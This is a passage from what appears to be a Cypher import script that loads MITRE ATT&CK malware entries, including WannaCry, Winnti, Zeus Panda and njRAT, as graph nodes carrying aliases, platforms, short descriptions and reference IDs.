custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"Volgmer\"],\"x_mitre_version\":\"1.0\"}", description:"[Volgmer](https://attack.mitre.org/software/S0180) is a backdoor Trojan designed to provide covert access to a compromised system. It has been used since at least 2013 to target the government, financial, automotive, and media industries. Its primary delivery mechanism is suspected to be spearphishing. (Citation: US-CERT Volgmer Nov 2017)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"Volgmer", modified:"2019-10-15T22:51:02.737Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08", external_references:["fbfebe00-3aa1-4ea5-9edb-09ce19acd47f", "2f3180ed-ac7d-446c-9410-72106eb6c70e", "4320c024-3262-4299-9991-4373607087b3", "9d1cb41c-427d-4e89-b156-2ed0bc4681ae", "9af9144b-7628-4f9f-ac73-6b9e41e2a998"]}}, {_id:10986, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-03-25T17:30:17.004Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_version\":\"1.0\",\"x_mitre_aliases\":[\"WannaCry\",\"WanaCry\",\"WanaCrypt\",\"WanaCrypt0r\",\"WCry\"],\"x_mitre_contributors\":[\"Jan Miller, CrowdStrike\"]}", description:"[WannaCry](https://attack.mitre.org/software/S0366) is ransomware that was first seen in a global attack during May 2017, which affected more than 150 countries. It contains worm-like features to spread itself across a computer network using the SMBv1 exploit EternalBlue.(Citation: LogRhythm WannaCry)(Citation: US-CERT WannaCry 2017)(Citation: Washington Post WannaCry 2017)(Citation: FireEye WannaCry 2017)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"WannaCry", modified:"2019-04-22T11:43:33.080Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661", external_references:["f5f73ad4-987b-4fe1-9bc9-2d1b94acb49c", "e2e5dc91-5605-43a3-b5de-7c682601a2a4", "adc577ea-e070-4442-981c-d9a42f1244ec", "9b4f7f14-27cb-4b08-b710-809e738e3563", "82dd89bb-2c97-4d67-b002-ac0a4ac9b623", "e4b7b8f0-0c97-4c4a-aedf-eb9df88947b1", "619077ca-3f9a-4e10-a085-eff0422b276e", "c09e3cb8-9709-4853-a382-c5c38c4410c2", "051429d8-f570-4ac9-8f7c-4837264936ce", "d4dfb095-0cc1-4c86-a897-dbb8a2cdae6c"]}}, {_id:11011, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:33:21.027Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"Winnti\"],\"x_mitre_version\":\"1.0\"}", description:"[Winnti](https://attack.mitre.org/software/S0141) is a Trojan that has been used by multiple groups to carry out intrusions in varied regions from at least 2010 to 2016. One of the groups using this malware is referred to by the same name, [Winnti Group](https://attack.mitre.org/groups/G0044); however, reporting indicates a second distinct group, [Axiom](https://attack.mitre.org/groups/G0001), also uses the malware. (Citation: Kaspersky Winnti April 2013) (Citation: Microsoft Winnti Jan 2017) (Citation: Novetta Winnti April 2015)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"Winnti", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--d3afa961-a80c-4043-9509-282cdf69ab21", external_references:["67ee3f38-4b6c-4d96-9154-0b666e854a4d", "29d82222-cc46-4552-80b2-3ca0c2b4c172", "ad5789ee-5485-4cdc-8187-c9c23368344f", "e88bb249-fb8c-47b1-a55e-6eb12a7135d3"]}}, {_id:11019, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-12-14T16:46:06.044Z", custom:"{\"x_mitre_platforms\":[\"macOS\"],\"x_mitre_aliases\":[\"XAgentOSX\",\"OSX.Sofacy\"],\"x_mitre_version\":\"1.2\"}", description:"[XAgentOSX](https://attack.mitre.org/software/S0161) is a trojan that has been used by [APT28](https://attack.mitre.org/groups/G0007)  on OS X and appears to be a port of their standard [CHOPSTICK](https://attack.mitre.org/software/S0023) or XAgent trojan. (Citation: XAgentOSX 2017)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"XAgentOSX", modified:"2019-07-26T23:07:20.402Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--59a97b15-8189-4d51-9404-e1ce8ea4a069", external_references:["899e257b-e689-4b88-9d6b-ddf8c50d89eb", "ac35be17-d045-43d3-93f2-f7011984df59", "d7564512-d520-41f5-96b7-96f3b331a6e7", "a2ff713e-c55c-4f9b-a030-b9648be420b0", "afb07e5d-5df4-41b2-a276-2e8abedb8bf9"]}}, {_id:11035, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-01-30T13:28:47.452Z", custom:"{\"x_mitre_platforms\":[\"Windows\",\"Linux\"],\"x_mitre_version\":\"1.1\",\"x_mitre_aliases\":[\"Xbash\"]}", description:"[Xbash](https://attack.mitre.org/software/S0341) is a malware family that has targeted Linux and Microsoft Windows servers. The malware has been tied to the Iron Group, a threat actor group known for previous ransomware attacks. [Xbash](https://attack.mitre.org/software/S0341) was developed in Python and then converted into a self-contained Linux ELF executable by using PyInstaller.(Citation: Unit42 Xbash Sept 2018)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"Xbash", modified:"2019-06-28T15:15:54.241Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c", external_references:["1aa802f1-d1ca-4896-8e37-e1e06d2ffcff", "95730593-e709-4dbb-8e1b-ed2d4f979344", "71548efb-80b4-4cb4-a218-feeb43455baf"]}}, {_id:11042, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:32:56.394Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"ZLib\"],\"x_mitre_version\":\"1.0\"}", description:"[ZLib](https://attack.mitre.org/software/S0086) is a full-featured backdoor that was used as a second-stage implant by [Dust Storm](https://attack.mitre.org/groups/G0031) from 2014 to 2015. It is malware and should not be confused with the compression library from which its name is derived. (Citation: Cylance Dust Storm)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"ZLib", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--166c0eca-02fd-424a-92c0-6b5106994d31", external_references:["dc424580-8ed2-4f6c-8516-d3c63c89e5ba", "af4da842-9f24-41ae-9839-0edeea402ba0"]}}, {_id:11045, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-10-17T00:14:20.652Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"Zebrocy\",\"Zekapab\"],\"x_mitre_version\":\"2.0\",\"x_mitre_contributors\":[\"Emily Ratliff, IBM\"]}", description:"[Zebrocy](https://attack.mitre.org/software/S0251) is a Trojan that has been used by [APT28](https://attack.mitre.org/groups/G0007) since at least November 2015. The malware comes in several programming language variants, including C++, Delphi, AutoIt, C#, and VB.NET. (Citation: Palo Alto Sofacy 06-2018)(Citation: Unit42 Cannon Nov 2018)(Citation: Unit42 Sofacy Dec 2018)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"Zebrocy", modified:"2019-07-17T01:18:32.377Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--a4f57468-fbd5-49e4-8476-52088220b92d", external_references:["1588b881-9609-4735-a6fd-340041385dd4", "772523a2-c29f-42fa-8aac-bc21ba1cd8ee", "21857b3d-3a48-4d9c-be36-e255d6d4b716", "a5d32b1d-8559-4a1f-85f2-ea0376d9ca0a", "558908a9-7ce8-4a4a-a0b9-9ed83eaad111", "f7494889-5b59-4005-a981-471093e7f212", "e03af4c0-a517-4303-b375-e54b87fe7b63", "4fa3affe-8f84-46fa-b20b-a9cc351056f1"]}}, {_id:11054, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-04-18T17:59:24.739Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"ZeroT\"],\"x_mitre_version\":\"1.0\"}", description:"[ZeroT](https://attack.mitre.org/software/S0230) is a Trojan used by [TA459](https://attack.mitre.org/groups/G0062), often in conjunction with [PlugX](https://attack.mitre.org/software/S0013). (Citation: Proofpoint TA459 April 2017) (Citation: Proofpoint ZeroT Feb 2017)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"ZeroT", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--4ab44516-ad75-4e43-a280-705dc0420e2f", external_references:["5214678a-6e69-4dab-990d-2e36da315471", "0633ebfa-7259-4ae6-98f0-4b249d3722cf", "348109cb-f941-4f73-affa-0e0609c67313", "23e92f07-a156-4b4a-84ee-32f7d91bb7f8"]}}, {_id:11062, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-01-29T17:59:43.600Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_version\":\"1.0\",\"x_mitre_aliases\":[\"Zeus Panda\"]}", description:"[Zeus Panda](https://attack.mitre.org/software/S0330) is a Trojan designed to steal banking information and other sensitive credentials for exfiltration. [Zeus Panda](https://attack.mitre.org/software/S0330)’s original source code was leaked in 2011, allowing threat actors to use its source code as a basis for new malware variants. It is mainly used to target Windows operating systems ranging from Windows XP through Windows 10.(Citation: Talos Zeus Panda Nov 2017)(Citation: GDATA Zeus Panda June 2017)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"Zeus Panda", modified:"2019-04-16T20:55:19.901Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--198db886-47af-4f4c-bff5-11b891f85946", external_references:["928f539f-da17-49ea-8ad3-8ffdc73a7a87", "7bb034bd-d83c-450a-8ea6-744726b091cb", "1fd6b056-3c5f-4c63-8a94-5f5616a130f1", "2a2f9698-f0c8-44a5-b23f-a6d600b7e389"]}}, {_id:11067, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-09-24T12:59:57.991Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"ZxShell\",\"Sensocode\"],\"x_mitre_version\":\"1.0\"}", description:"[ZxShell](https://attack.mitre.org/software/S0412) is a remote administration tool and backdoor that can be downloaded from the Internet, particularly from Chinese hacker websites. It has been used since at least 2004.(Citation: FireEye APT41 Aug 2019)(Citation: Talos ZxShell Oct 2014 )", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"ZxShell", modified:"2019-10-14T22:06:29.019Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c", external_references:["b19e9021-703c-4cd2-9e37-6d2b28c65915", "4a0add3c-212a-4639-9f95-1b27cb53330b", "93e38b9e-cd5f-461d-a2eb-0266806a5d3e", "1d550c29-2331-4649-ae0a-953de6d03685", "6874d4b2-fc82-467c-b851-67b93c0b7512"]}}, {_id:11073, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-04-18T17:59:24.739Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"adbupd\"],\"x_mitre_version\":\"1.0\",\"x_mitre_contributors\":[\"Ryan Becwar\"]}", description:"[adbupd](https://attack.mitre.org/software/S0202) is a backdoor used by [PLATINUM](https://attack.mitre.org/groups/G0068) that is similar to [Dipsind](https://attack.mitre.org/software/S0200). (Citation: Microsoft PLATINUM April 2016)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"adbupd", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--0f1ad2ef-41d4-4b7a-9304-ddae68ea3005", external_references:["68a38454-d569-4bdc-a077-03cbb8d41828", "ba26f437-6ee8-4e3c-9e41-3f7cff0a65ce", "5a259303-7064-4dd6-b8bc-0d2823e07b37"]}}, {_id:11077, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:32:24.937Z", custom:"{\"x_mitre_platforms\":[\"Windows\",\"macOS\"],\"x_mitre_aliases\":[\"gh0st RAT\"],\"x_mitre_version\":\"2.0\"}", description:"[gh0st RAT](https://attack.mitre.org/software/S0032) is a remote access tool (RAT). The source code is public and it has been used by multiple groups. (Citation: FireEye Hacking Team)(Citation: Arbor Musical Chairs Feb 2018)(Citation: Nccgroup Gh0st April 2018)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"gh0st RAT", modified:"2019-04-16T20:26:40.711Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24", external_references:["eb4e839a-6631-42a4-9648-422a919b90c5", "f608bc28-b441-41e3-b1f5-07ffb14351e5", "b27dbfdf-2870-4ed1-bd34-09a4a839410c", "3495e9d5-8093-49a9-9d43-b821f1f474ad", "266a290f-28c2-4ed3-88e7-83d8360a0708"]}}, {_id:11094, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-10-17T00:14:20.652Z", custom:"{\"x_mitre_platforms\":[\"Linux\",\"Windows\",\"macOS\",\"Android\"],\"x_mitre_aliases\":[\"jRAT\",\"JSocket\",\"AlienSpy\",\"Frutas\",\"Sockrat\",\"Unrecom\",\"jFrutas\",\"Adwind\",\"jBiFrost\",\"Trojan.Maljava\"],\"x_mitre_version\":\"2.0\"}", description:"[jRAT](https://attack.mitre.org/software/S0283) is a cross-platform, Java-based backdoor originally available for purchase in 2012. Variants of [jRAT](https://attack.mitre.org/software/S0283) have been distributed via a software-as-a-service platform, similar to an online subscription model.(Citation: Kaspersky Adwind Feb 2016) (Citation: jRAT Symantec Aug 2018)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"jRAT", modified:"2019-06-24T17:20:24.045Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c", external_references:["dca2894d-731b-4df0-b0aa-c44f1524a06a", "7b671310-113e-43a3-a0f3-1ee86696c9b4", "d7c90951-4f3b-4adc-9e0f-670ce3623bc4", "30379363-f65e-4914-ad15-65d510a70f74", "4f0414d6-b880-400c-b9fb-4b10ebe74b47", "4c621eb7-7158-4f8e-b61e-5f42d0c44736", "b5e57e45-7b94-4d4c-9602-c75abad239ec", "aa0e2e99-1c92-4468-a65e-31c08a3324a8", "f0b90e85-9edb-4849-aece-5f77c161daa4", "ef95ebc1-2c11-4e4b-9ef5-8561ddc20fb4", "03a38d47-07ce-41ec-a013-9934693c0b74", "f212ccf1-5b99-47eb-98f1-ac5155b248b2", "3ba49500-904b-4a10-a25c-4f0c3715d1ca", "3ac6a9cf-b820-49b1-ae6d-45de0a458954"]}}] AS row
CREATE (n:`UNIQUE IMPORT LABEL`{`UNIQUE IMPORT ID`: row._id}) SET n += row.properties SET n:malware:SDO;
UNWIND [{_id:11109, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-06-04T17:52:28.806Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"njRAT\",\"Njw0rm\",\"LV\",\"Bladabindi\"],\"x_mitre_version\":\"1.0\"}", description:"[njRAT](https://attack.mitre.org/software/S0385) is a remote access tool (RAT) that was first observed in 2012. It has been used by threat actors in the Middle East.(Citation: Fidelis njRAT June 2013)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"njRAT", modified:"2019-06-24T18:57:10.889Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--d906e6f7-434c-44c0-b51a-ed50af8f7945", external_references:["46aea44e-3ad1-41e9-a074-74eb04b178cc", "34732a5f-ac6b-4fa0-ab6f-9daa436f1120", "ed7c738a-7fa8-47db-8559-871768e0ac55", "25c71f05-3475-4005-90cf-9dbd023e4090", "4935cb32-8b1e-49c8-a95e-db603b26ace4", "f5c9e5b3-689d-406f-8831-b9326494d31f", "f7466674-18a4-44ac-a393-b69596fdd01f"]}}, {_id:11120, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-10-17T00:14:20.652Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_version\":\"1.1\",\"x_mitre_aliases\":[\"yty\"]}", description:"[yty](https://attack.mitre.org/software/S0248) is a modular, plugin-based malware framework. The components of the framework are written in a variety of programming languages. (Citation: ASERT Donot March 2018)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"yty", modified:"2019-04-25T00:09:22.985Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--0817aaf2-afea-4c32-9285-4dcd1df5bf14", external_references:["7bcef195-0bf1-45b6-ace6-20723b0afc88", "bf2a96b4-11a2-4f68-9951-a47b733a8d02", "e8042437-1d5c-4d50-ba00-ce0a65b1144e"]}}, {_id:9733, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:32:44.131Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"3PARA RAT\"],\"x_mitre_version\":\"1.0\"}", description:"[3PARA RAT](https://attack.mitre.org/software/S0066) is a remote access tool (RAT) programmed in C++ that has been used by [Putter Panda](https://attack.mitre.org/groups/G0024). (Citation: CrowdStrike Putter Panda)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"3PARA RAT", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--7bec698a-7e20-4fd3-bb6a-12787770fb1a", external_references:["c449e653-6a60-4f30-a2f3-20ea53920872", "e8c408ae-ca48-497b-a197-70da9fdc648d"]}}, {_id:9746, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-01-29T18:44:04.748Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_version\":\"1.0\",\"x_mitre_aliases\":[\"Agent Tesla\"]}", description:"[Agent Tesla](https://attack.mitre.org/software/S0331) is a spyware Trojan written in visual basic.(Citation: Fortinet Agent Tesla April 2018)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"Agent Tesla", modified:"2019-04-16T14:30:35.105Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", external_references:["0126f7c4-49e9-4f75-a417-7c4af566161d", "a4768d1d-6e5e-4e34-a630-ff5b85c8538e", "ab8d0954-f5ed-4e37-b71c-74798791d0df", "10e2822d-3d2e-4eb6-8267-b251a1b1292d", "944be30d-4ba3-45f5-a46d-28a4687933c8"]}}, {_id:9755, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-04-17T13:46:38.565Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_version\":\"1.1\",\"x_mitre_aliases\":[\"Astaroth\"],\"x_mitre_contributors\":[\"Carlos Borges, @huntingneo, CIP\"]}", description:"[Astaroth](https://attack.mitre.org/software/S0373) is a Trojan and information stealer known to affect companies in Europe and Brazil. It has been known publicly since at least late 2017. (Citation: Cybereason Astaroth Feb 2019) (Citation: Cofense Astaroth Sept 2018)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"Astaroth", modified:"2019-10-11T15:31:49.560Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--edb24a93-1f7a-4bbf-a738-1397a14662c6", external_references:["52e2a866-cd0a-40af-b19a-e48c0de38c1d", "6980a411-7fa7-4fb4-8ebd-a2d1ee408c31", "95d8750d-515d-41fb-aec9-e55e7868e0f7"]}}, {_id:9767, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-01-30T15:19:14.309Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"Azorult\"],\"x_mitre_version\":\"1.1\"}", description:"[Azorult](https://attack.mitre.org/software/S0344) is a commercial Trojan that is used to steal information from compromised hosts. [Azorult](https://attack.mitre.org/software/S0344) has been observed in the wild as early as 2016.\nIn July 2018, [Azorult](https://attack.mitre.org/software/S0344) was seen used in a spearphishing campaign against targets in North America. [Azorult](https://attack.mitre.org/software/S0344) has been seen used for cryptocurrency theft. (Citation: Unit42 Azorult Nov 2018)(Citation: Proofpoint Azorult July 2018)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"Azorult", modified:"2019-07-26T23:22:27.822Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080", external_references:["44f09ef2-2da9-4a5e-b1b2-ada77444dc0c", "b2b5fcbf-f375-4493-a277-77c3ec558256", "24d53d34-1a8e-4051-860e-d88151852d51", "57e7a67c-1877-4154-b7fe-d50a7cac9033"]}}, {_id:9772, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:32:24.428Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"BACKSPACE\",\"Lecna\"],\"x_mitre_version\":\"1.0\"}", description:"[BACKSPACE](https://attack.mitre.org/software/S0031) is a backdoor used by [APT30](https://attack.mitre.org/groups/G0013) that dates back to at least 2005. (Citation: FireEye APT30)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"BACKSPACE", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--fb261c56-b80e-43a9-8351-c84081e7213d", external_references:["761cfd28-eee5-44de-9486-ba43cbeb0b9d", "de7fbb85-4c40-4640-a745-04c122aef841"]}}, {_id:9779, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:33:14.118Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"BADNEWS\"],\"x_mitre_version\":\"1.0\"}", description:"[BADNEWS](https://attack.mitre.org/software/S0128) is malware that has been used by the actors responsible for the [Patchwork](https://attack.mitre.org/groups/G0040) campaign. Its name was given due to its use of RSS feeds, forums, and blogs for command and control. (Citation: Forcepoint Monsoon) (Citation: TrendMicro Patchwork Dec 2017)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"BADNEWS", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--e9595678-d269-469e-ae6b-75e49259de63", external_references:["abb76b85-eebf-41cc-af8e-5754d658db61", "c8319edc-bb14-4d64-9289-6ad1518383ef", "09cb7e4f-8c8d-4540-a903-d655070bf0f0", "93233f6b-883e-4fd7-8463-aa55a541d439"]}}, {_id:9784, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:33:13.664Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"BBSRAT\"],\"x_mitre_version\":\"1.1\"}", description:"[BBSRAT](https://attack.mitre.org/software/S0127) is malware with remote access tool functionality that has been used in targeted compromises. (Citation: Palo Alto Networks BBSRAT)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"BBSRAT", modified:"2019-04-24T23:10:02.247Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80", external_references:["a89c3016-30af-46a1-ae7a-4384edb6649e", "8e0ada6a-f101-49be-9cd9-0dd9b16ae61f"]}}, {_id:9787, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:32:17.147Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"BISCUIT\"],\"x_mitre_version\":\"1.1\"}", description:"[BISCUIT](https://attack.mitre.org/software/S0017) is a backdoor that has been used by [APT1](https://attack.mitre.org/groups/G0006) since as early as 2007. (Citation: Mandiant APT1)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"BISCUIT", modified:"2019-01-30T15:38:20.677Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--b8eb28e4-48a6-40ae-951a-328714f75eda", external_references:["3e22871e-d465-47a3-ad5a-000a894ca515", "ed247714-9dd3-4927-aa03-8c77183e8949", "e52f8232-5dd5-4b16-b73d-d49b5ab52bd0", "ddf186cd-95bd-4785-8c5b-880e738017c8"]}}, {_id:9797, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-02-18T20:16:12.119Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_version\":\"1.1\",\"x_mitre_aliases\":[\"BONDUPDATER\"]}", description:"[BONDUPDATER](https://attack.mitre.org/software/S0360) is a PowerShell backdoor used by [OilRig](https://attack.mitre.org/groups/G0049). It was first observed in November 2017 during targeting of a Middle Eastern government organization, and an updated version was observed in August 2018 being used to target a government organization with spearphishing emails.(Citation: FireEye APT34 Dec 2017)(Citation: Palo Alto OilRig Sep 2018)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"BONDUPDATER", modified:"2019-10-11T19:43:24.691Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--d5268dfb-ae2b-4e0e-ac07-02a460613d8a", external_references:["e07a55f1-4e88-4a8c-a779-e6da018a53c6", "183d185d-724b-4073-bfa7-0b5793c90877", "8dd4c32a-cf2b-45b8-bdd3-60eb2848eca9"]}}, {_id:9813, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-10-07T19:05:48.886Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_version\":\"1.0\",\"x_mitre_aliases\":[\"BabyShark\"]}", description:"[BabyShark](https://attack.mitre.org/software/S0414) is a Microsoft Visual Basic (VB) script-based malware family that is believed to be associated with several North Korean campaigns. (Citation: Unit42 BabyShark Feb 2019)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"BabyShark", modified:"2019-10-14T19:52:22.357Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--d1b7830a-fced-4be3-a99c-f495af9d9e1b", external_references:["3e1595ed-e326-4372-b4db-5d122296282a", "b57e4dd0-e3e7-4009-96a4-dc3b5bbb181b", "99d9d0fc-3eb5-420b-ad0c-3a5c122863e3", "8ba114d1-99dc-4f9d-9c2b-9675dad56670"]}}, {_id:9818, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:32:59.661Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"Backdoor.Oldrea\",\"Havex\"],\"x_mitre_version\":\"1.0\"}", description:"[Backdoor.Oldrea](https://attack.mitre.org/software/S0093) is a backdoor used by [Dragonfly](https://attack.mitre.org/groups/G0035). It appears to be custom malware authored by the group or specifically for it. (Citation: Symantec Dragonfly)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"Backdoor.Oldrea", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--083bb47b-02c8-4423-81a2-f9ef58572974", external_references:["60ceeb79-a1df-42a3-99aa-1d16b1817a39", "ac9b0ca3-51f4-417d-b292-4877d6622e5d"]}}, {_id:9821, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-01-29T21:33:34.082Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_version\":\"1.0\",\"x_mitre_aliases\":[\"BadPatch\"]}", description:"[BadPatch](https://attack.mitre.org/software/S0337) is a Windows Trojan that was used in a Gaza Hackers-linked campaign.(Citation: Unit 42 BadPatch Oct 2017)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"BadPatch", modified:"2019-04-23T21:17:49.678Z", kill_chain_phases:[], 